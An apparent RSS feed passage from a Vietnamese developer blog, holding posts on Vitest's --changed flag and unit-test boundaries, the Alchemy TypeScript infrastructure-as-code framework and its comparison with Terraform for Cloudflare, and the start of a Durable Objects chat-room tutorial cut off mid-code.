&lt;/blockquote&gt;
&lt;h2&gt;8. Chạy test dựa trên commit&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;--changed&lt;/code&gt; không chỉ dành cho working tree hiện tại.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;vitest --changed HEAD~1
vitest --changed 09a9920
vitest --changed origin/develop
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hữu ích khi muốn kiểm tra thay đổi so với một branch hay commit cụ thể:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;origin/develop
      │
      │ diff
      ↓
current branch
      │
      ↓
related tests
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;9. Coverage cũng có thể hưởng lợi&lt;/h2&gt;
&lt;p&gt;Kết hợp với coverage:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;vitest --changed --coverage
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Coverage report chỉ chứa những file liên quan đến các thay đổi — feedback nhanh hơn, report tập trung hơn.&lt;/p&gt;
&lt;h2&gt;10. &lt;code&gt;--changed&lt;/code&gt; không có nghĩa là dependency graph hoàn hảo&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;--changed&lt;/code&gt; không phải lời hứa &quot;Chỉ cần test file vừa thay đổi là đủ.&quot;&lt;/p&gt;
&lt;p&gt;Vitest có &lt;code&gt;forceRerunTriggers&lt;/code&gt;. Nếu file trong danh sách đó thay đổi, toàn bộ test suite được chạy.&lt;/p&gt;
&lt;p&gt;Thay đổi ở Vitest config và &lt;code&gt;package.json&lt;/code&gt; mặc định cũng khiến toàn bộ suite chạy lại — điều này hợp lý vì rất khó đảm bảo chỉ một nhóm test bị ảnh hưởng.&lt;/p&gt;
&lt;h2&gt;11. Unit test tốt thường có &quot;biên giới&quot; rõ ràng&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;              OUTSIDE
                  │
        ┌─────────▼─────────┐
        │       UNIT        │
        │  Business Logic   │
        └─────────┬─────────┘
                  │
              OUTSIDE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Những thứ bên ngoài unit (database, HTTP API, filesystem, message queue, external service, thời gian, random, environment) nên được kiểm soát khi cần thiết:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;vi.mock(&apos;./payment-service&apos;)
vi.useFakeTimers()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mục đích không phải &quot;mock tất cả&quot; mà là kiểm soát những dependency không thuộc trách nhiệm của unit đang được test.&lt;/p&gt;
&lt;h2&gt;12. Không phải dependency nào cũng nên mock&lt;/h2&gt;
&lt;p&gt;Nếu mock mọi thứ (A → mock B → mock C → mock D), test có thể quá xa implementation thực tế.&lt;/p&gt;
&lt;p&gt;Nguyên tắc không nên là &quot;Unit test = mock tất cả.&quot; Mà là cô lập unit đang kiểm thử và kiểm soát các dependency có thể làm test không deterministic hoặc kéo theo quá nhiều implementation bên ngoài.&lt;/p&gt;
&lt;h2&gt;13. Unit test, integration test và E2E có vai trò khác nhau&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;              E2E
             /   \
       Integration
          /       \
      Unit Tests
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Unit test: Kiểm tra business logic trong phạm vi nhỏ, nhanh, deterministic, feedback nhanh.&lt;/li&gt;
&lt;li&gt;Integration test: Kiểm tra nhiều thành phần kết hợp (Service → Repository → Test Database).&lt;/li&gt;
&lt;li&gt;E2E: Kiểm tra behavior từ góc nhìn người dùng (Browser → API → Service → Database).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Không nên cố biến tất cả thành unit test.&lt;/p&gt;
&lt;h2&gt;14. Tư duy quan trọng: kiểm soát ảnh hưởng, không loại bỏ dependency&lt;/h2&gt;
&lt;p&gt;Một unit test không cần sống trong thế giới không có dependency. Nó chỉ cần biết dependency nào thuộc phạm vi kiểm thử và dependency nào cần được kiểm soát.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;┌─────────────────────────────┐
│         UserService         │
│         REAL CODE           │
└──────────────┬──────────────┘
               │
       controlled boundary
               │
       ┌───────┴───────┐
       │               │
     Mock            Mock
   Repository    EmailService
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Đây chính là điều giúp unit test giữ được tính độc lập.&lt;/p&gt;
&lt;h2&gt;15. Từ unit test tốt đến &lt;code&gt;--changed&lt;/code&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Unit test độc lập
       ↓
Dependency được kiểm soát
       ↓
Phạm vi ảnh hưởng rõ ràng
       ↓
Test suite dễ phân vùng
       ↓
--changed hữu ích hơn
       ↓
Feedback nhanh hơn
       ↓
Developer iteration nhanh hơn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;--changed&lt;/code&gt; khuyến khích chúng ta suy nghĩ về dependency graph của test suite — một codebase có unit test tốt thường có boundary rõ ràng giữa business logic và các dependency bên ngoài.&lt;/p&gt;
&lt;h2&gt;Kết luận&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;vitest --changed&lt;/code&gt; là công cụ đáng dùng khi project có test suite lớn. Nhưng để nó thực sự phát huy tác dụng, điều quan trọng nằm ở cách chúng ta viết unit test.&lt;/p&gt;
&lt;p&gt;Một unit test tốt nên:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;tập trung vào một unit và behavior cụ thể;&lt;/li&gt;
&lt;li&gt;kiểm soát dependency nằm ngoài phạm vi của unit;&lt;/li&gt;
&lt;li&gt;dùng mock/stub/test double khi dependency thật tạo ra side effect hoặc làm test không deterministic;&lt;/li&gt;
&lt;li&gt;không phụ thuộc vào database, network hay dữ liệu môi trường thật;&lt;/li&gt;
&lt;li&gt;để integration test và E2E đảm nhiệm kiểm tra sự kết hợp giữa các thành phần.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Unit test càng độc lập, dependency boundary càng rõ, thì việc chạy test có chọn lọc càng đáng tin cậy và feedback càng nhanh.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Và đây chính là lúc &lt;code&gt;vitest --changed&lt;/code&gt; trở nên thực sự hữu ích — không phải vì chúng ta muốn test ít hơn, mà vì chúng ta muốn test đúng phạm vi ở đúng thời điểm.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://vitest.dev/guide/&quot;&gt;Vitest Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vitest.dev/guide/cli#changed&quot;&gt;Vitest &lt;code&gt;--changed&lt;/code&gt; Flag&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vitest.dev/guide/cli&quot;&gt;Vitest CLI Options&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/goldbergyoni/javascript-testing-best-practices&quot;&gt;JavaScript Testing Best Practices&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://martinfowler.com/bliki/UnitTest.html&quot;&gt;Martin Fowler — Unit Testing&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Alchemy - IaC thế hệ mới với TypeScript thuần và Effect</title><link>https://dopana-blog.pages.dev/blog/alchemy-iac-the-he-moi-voi-typescript-thuan-va-effect</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/alchemy-iac-the-he-moi-voi-typescript-thuan-va-effect</guid><description>Alchemy là framework IaC TypeScript thuần, dùng Effect để quản lý cloud resources type-safe, không cần DSL hay runtime riêng.</description><pubDate>Wed, 29 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Alchemy&lt;/strong&gt; (alchemy.run) là một framework &lt;strong&gt;Infrastructure-as-Code (IaC)&lt;/strong&gt; thế hệ mới, cho phép bạn định nghĩa và quản lý cloud resources bằng &lt;strong&gt;TypeScript thuần&lt;/strong&gt; — không HCL, không YAML, không runtime Go hay Rust như Terraform hay Pulumi. Điểm đặc biệt: Alchemy được xây dựng trên nền tảng &lt;strong&gt;Effect&lt;/strong&gt;, thư viện TypeScript mạnh mẽ cho composable, typed effects.&lt;/p&gt;
&lt;h2&gt;Vấn đề với IaC truyền thống&lt;/h2&gt;
&lt;p&gt;Các công cụ IaC hiện tại đều có những hạn chế nhất định:&lt;/p&gt;
&lt;p&gt;| Công cụ | Ngôn ngữ | Runtime | Vấn đề |
|---|---|---|---|
| Terraform | HCL | Go | DSL riêng, khó mở rộng |
| Pulumi | TypeScript/Go/Python | Go | Chain abstraction nặng |
| AWS CDK | TypeScript | CloudFormation | Sinh JSON trung gian, chậm |
| SST | TypeScript | Wrapper quanh Pulumi | Thêm layer, phức tạp |&lt;/p&gt;
&lt;p&gt;Tất cả đều có chung một vấn đề: &lt;strong&gt;bloated abstraction chain&lt;/strong&gt;. Code của bạn bị dịch qua nhiều tầng trung gian trước khi đến tay cloud provider.&lt;/p&gt;
&lt;h2&gt;Alchemy khác biệt thế nào?&lt;/h2&gt;
&lt;p&gt;Alchemy cắt bỏ hoàn toàn các tầng trung gian. Nó giao tiếp &lt;strong&gt;trực tiếp với cloud API qua HTTPS&lt;/strong&gt;, không qua CloudFormation hay Terraform provider nào cả.&lt;/p&gt;
&lt;h3&gt;1. Infrastructure là TypeScript thuần&lt;/h3&gt;
&lt;p&gt;Bạn viết infrastructure bằng TypeScript, không DSL:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { cloudflare, define } from &apos;alchemy&apos;

const bucket = cloudflare.r2.Bucket(&apos;my-bucket&apos;, {
  location: &apos;WEUR&apos;
})

const worker = cloudflare.Worker(&apos;my-worker&apos;, {
  script: &apos;./src/index.ts&apos;,
  bindings: { bucket }
})

export default define({
  resources: [bucket, worker]
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. Type-safe IAM Policies&lt;/h3&gt;
&lt;p&gt;IAM policies được kiểm tra ngay tại compile time. Không thể deploy với permission thiếu:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;const queue = cloudflare.Queue(&apos;my-queue&apos;)

// TypeScript sẽ báo lỗi nếu thiếu binding
const worker = cloudflare.Worker(&apos;my-worker&apos;, {
  script: &apos;./src/index.ts&apos;,
  bindings: { queue } // → tự động cấp consumer permission
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Hot-reload (~100ms)&lt;/h3&gt;
&lt;p&gt;Alchemy hỗ trợ hot-reload infrastructure cực nhanh. Thay đổi resource, nhấn save — trong ~100ms, resource đã được cập nhật. Không cần chờ &lt;code&gt;terraform plan&lt;/code&gt; hàng phút.&lt;/p&gt;
&lt;h3&gt;4. Ephemeral Stacks&lt;/h3&gt;
&lt;p&gt;Mỗi Pull Request có thể tự động tạo một stack riêng biệt, deploy → test → destroy. Lý tưởng cho preview environments:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;// Vitest + Alchemy
import { test, expect } from &apos;vitest&apos;
import { createStack } from &apos;alchemy/test&apos;

test(&apos;API trả về 200&apos;, async () =&gt; {
  const stack = await createStack(&apos;./alchemy.run.ts&apos;)
  const response = await fetch(stack.worker.url)
  expect(response.status).toBe(200)
  await stack.destroy()
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5. Observability tích hợp&lt;/h3&gt;
&lt;p&gt;OpenTelemetry metrics, logs, và alarms được khai báo trực tiếp cùng resources:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;const worker = cloudflare.Worker(&apos;my-worker&apos;, {
  script: &apos;./src/index.ts&apos;,
  observability: {
    metrics: [&apos;request_count&apos;, &apos;error_rate&apos;],
    alarms: [
      { metric: &apos;error_rate&apos;, threshold: 0.05, action: &apos;slack&apos; }
    ]
  }
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Providers được hỗ trợ&lt;/h2&gt;
&lt;p&gt;Alchemy hỗ trợ nhiều cloud providers và dịch vụ:&lt;/p&gt;
&lt;p&gt;| Provider | Resources |
|---|---|
| &lt;strong&gt;Cloudflare&lt;/strong&gt; | Workers, R2, D1, KV, Durable Objects, Queues, Hyperdrive |
| &lt;strong&gt;AWS&lt;/strong&gt; | Lambda, ECS, DynamoDB, S3, SQS, CloudWatch |
| &lt;strong&gt;Neon&lt;/strong&gt; | Serverless Postgres |
| &lt;strong&gt;PlanetScale&lt;/strong&gt; | Serverless MySQL |
| &lt;strong&gt;Upstash&lt;/strong&gt; | Redis, Kafka |
| &lt;strong&gt;Stripe&lt;/strong&gt; | Payment infrastructure |&lt;/p&gt;
&lt;p&gt;Và tích hợp sẵn với các frontend framework: &lt;strong&gt;Astro, Next.js, Nuxt, SolidStart, TanStack Start&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;Tại sao Alchemy đáng chú ý?&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Infrastructure là code&lt;/strong&gt; theo nghĩa đen — không qua trung gian, không compile, không DSL.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Không runtime riêng&lt;/strong&gt; — chạy trên Bun, Node, Deno, Cloudflare Workers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Không DSL&lt;/strong&gt; — TypeScript thuần là tất cả những gì bạn cần.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Type-safe toàn diện&lt;/strong&gt; — từ resource definition đến IAM policy.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ecosystem Effect&lt;/strong&gt; — tận dụng typed effects, error handling, và composability.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI Agent-friendly&lt;/strong&gt; — cấu trúc đơn giản, dễ đọc, dễ cho AI coding agents thao tác.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Kết luận&lt;/h2&gt;
&lt;p&gt;Alchemy đại diện cho một hướng đi mới của IaC: &lt;strong&gt;đơn giản hóa đến tận cùng&lt;/strong&gt;. Thay vì chồng chất abstraction layers, nó dựa vào sức mạnh của TypeScript và Effect để tạo ra trải nghiệm developer liền mạch.&lt;/p&gt;
&lt;p&gt;Nếu bạn là TypeScript developer và muốn quản lý cloud infrastructure mà không cần học thêm công cụ mới, Alchemy là một lựa chọn đáng để thử.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Link:&lt;/strong&gt; &lt;a href=&quot;https://alchemy.run/&quot;&gt;alchemy.run&lt;/a&gt; &lt;br&gt;
&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href=&quot;https://github.com/alchemy-run/alchemy&quot;&gt;github.com/alchemy-run/alchemy&lt;/a&gt; &lt;br&gt;
&lt;strong&gt;License:&lt;/strong&gt; Apache-2.0&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Alchemy vs Terraform - Quản lý Cloudflare infrastructure</title><link>https://dopana-blog.pages.dev/blog/alchemy-vs-terraform-quan-ly-cloudflare-infrastructure</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/alchemy-vs-terraform-quan-ly-cloudflare-infrastructure</guid><description>So sánh Alchemy (alchemy.run) và Terraform Cloudflare Provider trong quản lý Cloudflare infrastructure: type safety, DX, local development và workflow.</description><pubDate>Wed, 29 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Alchemy (alchemy.run) và Terraform Cloudflare Provider (&lt;a href=&quot;https://registry.terraform.io/providers/cloudflare/cloudflare/latest/docs&quot;&gt;registry.terraform.io&lt;/a&gt;) là hai cách tiếp cận hoàn toàn khác nhau để quản lý Cloudflare infrastructure. Bài này so sánh chúng trên nhiều khía cạnh để giúp bạn chọn công cụ phù hợp.&lt;/p&gt;
&lt;h2&gt;Tổng quan&lt;/h2&gt;
&lt;p&gt;| Tiêu chí | Alchemy | Terraform Cloudflare Provider |
|---|---|---|
| Ngôn ngữ | TypeScript thuần (Effect) | HCL (hoặc CDKTF với TypeScript) |
| Runtime | Chạy trên Bun/Node/Deno | Go runtime riêng |
| Loại | Framework IaC native | Provider cho Terraform |
| License | Apache-2.0 | MPL-2.0 |
| Cloud providers | Cloudflare, AWS, Neon, Upstash | 3000+ providers |&lt;/p&gt;
&lt;h2&gt;Code so sánh&lt;/h2&gt;
&lt;h3&gt;1. Tạo R2 Bucket + Worker với binding&lt;/h3&gt;
&lt;p&gt;Alchemy:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { cloudflare, define } from &apos;alchemy&apos;

const bucket = cloudflare.r2.Bucket(&apos;assets&apos;, {
  location: &apos;WEUR&apos;
})

const worker = cloudflare.Worker(&apos;api-worker&apos;, {
  script: &apos;./src/index.ts&apos;,
  bindings: { bucket } // Tự động infer type cho WorkerEnv
})

export default define({
  resources: [bucket, worker]
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Terraform HCL:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-hcl&quot;&gt;terraform {
  required_providers {
    cloudflare = {
      source = &quot;cloudflare/cloudflare&quot;
      version = &quot;~&gt; 4.0&quot;
    }
  }
}

resource &quot;cloudflare_r2_bucket&quot; &quot;assets&quot; {
  account_id = var.cloudflare_account_id
  name       = &quot;my-assets&quot;
  location   = &quot;WEUR&quot;
}

resource &quot;cloudflare_worker_script&quot; &quot;api&quot; {
  account_id = var.cloudflare_account_id
  name       = &quot;api-worker&quot;
  content    = file(&quot;./dist/worker.js&quot;)
}

# Phải tự quản lý binding riêng
resource &quot;cloudflare_worker_binding&quot; &quot;bucket_binding&quot; {
  script_name = cloudflare_worker_script.api.name
  bucket = {
    name = &quot;bucket&quot;
    bucket_id = cloudflare_r2_bucket.assets.id
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. D1 Database + Worker&lt;/h3&gt;
&lt;p&gt;Alchemy:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;db cloudflare.d1.Database(&apos;my-db&apos;, {
  name: &apos;production-db&apos;
})

const worker = cloudflare.Worker(&apos;api&apos;, {
  script: &apos;./src/index.ts&apos;,
  bindings: { db } // TypeScript biết db là D1Database binding
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Terraform:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-hcl&quot;&gt;resource &quot;cloudflare_d1_database&quot; &quot;my_db&quot; {
  account_id = var.cloudflare_account_id
  name       = &quot;production-db&quot;
}

# Worker + D1 binding cần config riêng
resource &quot;cloudflare_worker_script&quot; &quot;api&quot; {
  name    = &quot;api&quot;
  content = file(&quot;./worker.js&quot;)
  
  d1_database_bindings {
    name    = &quot;db&quot;
    id      = cloudflare_d1_database.my_db.id
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;So sánh chi tiết&lt;/h2&gt;
&lt;h3&gt;1. Type Safety&lt;/h3&gt;
&lt;p&gt;Alchemy — Type-safe toàn diện. Khi bạn bind một R2 bucket vào Worker, TypeScript tự động infer kiểu &lt;code&gt;WorkerEnv&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;// Alchemy tự sinh type:
// interface WorkerEnv { bucket: R2Bucket }

export default {
  async fetch(req: Request, env: WorkerEnv) {
    await env.bucket.get(&apos;key&apos;) // ✅ Type-safe
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Terraform — HCL không có type safety. Mọi lỗi chỉ phát hiện ở runtime (&lt;code&gt;terraform plan&lt;/code&gt;). CDKTF (đã deprecated) có type safety qua generated classes, nhưng thường lag so với upstream API.&lt;/p&gt;
&lt;h3&gt;2. Developer Experience&lt;/h3&gt;
&lt;p&gt;| Khía cạnh | Alchemy | Terraform |
|---|---|---|
| Ngôn ngữ | TypeScript — học 0 phút | HCL — phải học DSL mới |
| IDE support | Full autocomplete, type checking | HCL LSP cơ bản |
| Local dev | &lt;code&gt;alchemy dev&lt;/code&gt; — hot-reload ~100ms | Không có — phải dùng &lt;code&gt;wrangler dev&lt;/code&gt; riêng |
| Test | Vitest + isolated stacks | Không có built-in |
| State management | Built-in (Cloudflare state Worker) | Terraform Cloud/S3/remote state |&lt;/p&gt;
&lt;h3&gt;3. Development Workflow&lt;/h3&gt;
&lt;p&gt;Alchemy workflow:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;code ←→ alchemy dev ←→ Cloudflare API (live)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Hot-reload 100ms&lt;/li&gt;
&lt;li&gt;Code + Infrastructure cùng file TypeScript&lt;/li&gt;
&lt;li&gt;Test với isolated stack (deploy → assert → destroy)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Terraform workflow:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;code → wrangler dev (local) 
     → terraform plan → terraform apply → Cloudflare API
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Local development và infrastructure deployment tách rời&lt;/li&gt;
&lt;li&gt;Cần 2 toolchain riêng (wrangler + terraform)&lt;/li&gt;
&lt;li&gt;Không có hot-reload cho infrastructure&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4. State Management&lt;/h3&gt;
&lt;p&gt;Terraform có state management mạnh mẽ nhất:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Remote state với locking&lt;/li&gt;
&lt;li&gt;Drift detection&lt;/li&gt;
&lt;li&gt;Granular access control&lt;/li&gt;
&lt;li&gt;Workspace isolation&lt;/li&gt;
&lt;li&gt;Audit trail&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Alchemy state management đơn giản hơn:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;State lưu trong Cloudflare (Durable Object)&lt;/li&gt;
&lt;li&gt;Phù hợp cho serverless workloads&lt;/li&gt;
&lt;li&gt;Thiếu các tính năng enterprise như locking, audit&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5. Multi-Provider Support&lt;/h3&gt;
&lt;p&gt;Terraform — 3000+ providers. Một config file quản lý được AWS + Cloudflare + Datadog + GitHub cùng lúc.&lt;/p&gt;
&lt;p&gt;Alchemy — Hỗ trợ Cloudflare, AWS, Neon, Upstash. Ít hơn nhưng tích hợp sâu.&lt;/p&gt;
&lt;h3&gt;6. AI Agent Friendliness&lt;/h3&gt;
&lt;p&gt;Alchemy: Được thiết kế cho AI coding agents:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TypeScript thuần — LLM hiểu dễ dàng&lt;/li&gt;
&lt;li&gt;Toàn bộ stack trong 1-2 files&lt;/li&gt;
&lt;li&gt;Cung cấp &lt;code&gt;llms.txt&lt;/code&gt; guide&lt;/li&gt;
&lt;li&gt;Structure đơn giản, ít boilerplate&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Terraform: HCL cũng được LLM hiểu tốt (nhờ lượng lớn training data), nhưng:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Version mismatches thường gây lỗi&lt;/li&gt;
&lt;li&gt;Worker code (TypeScript) và HCL config tách rời&lt;/li&gt;
&lt;li&gt;AI agent khó suy luận end-to-end&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Khi nào dùng công cụ nào?&lt;/h2&gt;
&lt;h3&gt;Chọn Alchemy nếu&lt;/h3&gt;
&lt;p&gt;✅ Bạn là TypeScript developer, không muốn học HCL
✅ Bạn cần local development workflow nhanh (hot-reload infrastructure)
✅ Dự án của bạn chạy chủ yếu trên Cloudflare Workers/R2/D1/KV
✅ Bạn muốn type-safe từ infrastructure đến application code
✅ Bạn dùng AI coding agents để viết infrastructure&lt;/p&gt;
&lt;h3&gt;Chọn Terraform nếu&lt;/h3&gt;
&lt;p&gt;✅ Team của bạn đã có Terraform workflow
✅ Bạn quản lý multi-provider infrastructure (AWS + Cloudflare + ...)
✅ Bạn cần enterprise features: state locking, audit, compliance
✅ Bạn quản lý hàng trăm resources với dependency graph phức tạp
✅ Team của bạn có HCL expertise&lt;/p&gt;
&lt;h2&gt;So sánh với Wrangler&lt;/h2&gt;
&lt;p&gt;Một câu hỏi thường gặp: &quot;Sao không dùng &lt;code&gt;wrangler.toml&lt;/code&gt;?&quot;&lt;/p&gt;
&lt;p&gt;| Công cụ | Mục đích | Phạm vi |
|---|---|---|
| Wrangler | CLI cho Cloudflare Workers | Chỉ Workers &amp;#x26; liên quan |
| Terraform | IaC đa năng | Mọi cloud resource |
| Alchemy | IaC TypeScript-native | Cloud + Application |&lt;/p&gt;
&lt;p&gt;&lt;code&gt;wrangler.toml&lt;/code&gt; chỉ quản lý được Workers. Cả Terraform và Alchemy đều quản lý được R2, D1, KV, Queues, DNS, Pages — nhưng với cách tiếp cận khác nhau.&lt;/p&gt;
&lt;h2&gt;Kết luận&lt;/h2&gt;
&lt;p&gt;Alchemy và Terraform đại diện cho hai triết lý khác nhau:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Terraform — IaC truyền thống: mạnh mẽ, ổn định, đa năng, nhưng learning curve cao và workflow rời rạc.&lt;/li&gt;
&lt;li&gt;Alchemy — IaC hiện đại: TypeScript-native, type-safe, dev experience tuyệt vời, nhưng còn mới và ít provider.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Lựa chọn phụ thuộc vào context của bạn. Nếu bạn đang xây dựng cloud-native apps trên Cloudflare với TypeScript, Alchemy là lựa chọn hấp dẫn. Nếu bạn cần enterprise-grade IaC cho multi-provider infrastructure, Terraform vẫn là chuẩn mực.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Alchemy: &lt;a href=&quot;https://alchemy.run/&quot;&gt;alchemy.run&lt;/a&gt; &lt;br&gt;
Terraform Cloudflare Provider: &lt;a href=&quot;https://registry.terraform.io/providers/cloudflare/cloudflare/latest/docs&quot;&gt;registry.terraform.io&lt;/a&gt; &lt;br&gt;
Wrangler: &lt;a href=&quot;https://developers.cloudflare.com/workers/wrangler/&quot;&gt;developers.cloudflare.com/workers/wrangler&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Durable Objects — Stateful Ứng Dụng Real-time Trên Workers</title><link>https://dopana-blog.pages.dev/blog/durable-objects</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/durable-objects</guid><description>Xây dựng ứng dụng stateful với Durable Objects: WebSocket, game server, coordination — và SQLite storage built-in.</description><pubDate>Wed, 29 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Durable Objects (DO) là giải pháp stateful cho Cloudflare Workers. Mỗi DO có một instance duy nhất — state tồn tại, consistency mạnh.&lt;/p&gt;
&lt;h2&gt;Workers vs Durable Objects&lt;/h2&gt;
&lt;p&gt;| Workers | Durable Objects |
|---|---|
| Stateless | Stateful |
| Nhiều request - nhiều instance | Mỗi ID - một instance duy nhất |
| Không giữ state | Giữ state trong memory + storage |
| Scale vô hạn | Scale by sharding (nhiều DO) |
| 330+ locations | Một location (có migration) |&lt;/p&gt;
&lt;h2&gt;Chat Room — Ví Dụ Cơ Bản&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { DurableObject } from &apos;cloudflare:workers&apos;;

interface Env {
  CHAT_ROOM: DurableObjectNamespace;
}

export class ChatRoom extends DurableObject {
  private sessions = new Map&amp;#x3C;string, WebSocket&gt;();

  async fetch(request: Request): Promise&amp;#x3C;Response&gt; {
    const url = new URL(request.url);
    const name = url.searchParams.get(&apos;name&apos;) || &apos;anonymous&apos;;

    // WebSocket upgrade
    const pair = new WebSocketPair();
    const [client, server] = Object.values(pair);

    server.accept();
    this.sessions.set(name, server);

    // Broadcast welcome
    this.broadcast(`${name} joined the chat`);

    server.addEventListener(&apos;message&apos;, (event) =&gt; {
      this.broadcast(`${name}: ${event.data}`, server);
    });

    server.addEventListener(&apos;close&apos;, () =&gt; {
      this.sessions.delete(name);
      this.broadcast(`${name} left`);
    });

    return new Response(null, { status: 101, webSocket: client });
  }

  private broadcast(message: string, sender?: WebSocket) {
    const data = JSON.stringify({ message, timestamp: Date.now() });
    this.sessions.forEach((ws, name) =&gt; {
      if (ws !== sender &amp;#x26;&amp;#x26; ws.readyState === WebSocket.OPEN) {
        ws.send(data);
      }
    });
  }
}

// Worker — router đến DO
export default {
  async fetch(request: Request, env: Env): Promise&amp;#x3C;Response&gt; {
    const url = new URL(request.url);
    const roomId = url.searchParams.get(&apos;room&apos;) || &apos;default&apos;;
    const id = env.CHAT_ROOM.idFromName(roomId);
    const stub = env.CHAT_ROOM.get(id);
    return stub.fetch(request);
  },
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;SQLite Storage — D1 Built-in&lt;/h2&gt;
&lt;p&gt;Mỗi Durable Object có SQLite storage riêng:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;export class Counter extends DurableObject {
  private storage: DurableObjectStorage;

  constructor(ctx: DurableObjectState, env: Env) {
    super(ctx, env);
    this.storage = ctx.storage;
  }

  async fetch(request: Request): Promise&amp;#x3C;Response&gt; {
    const url = new URL(request.url);

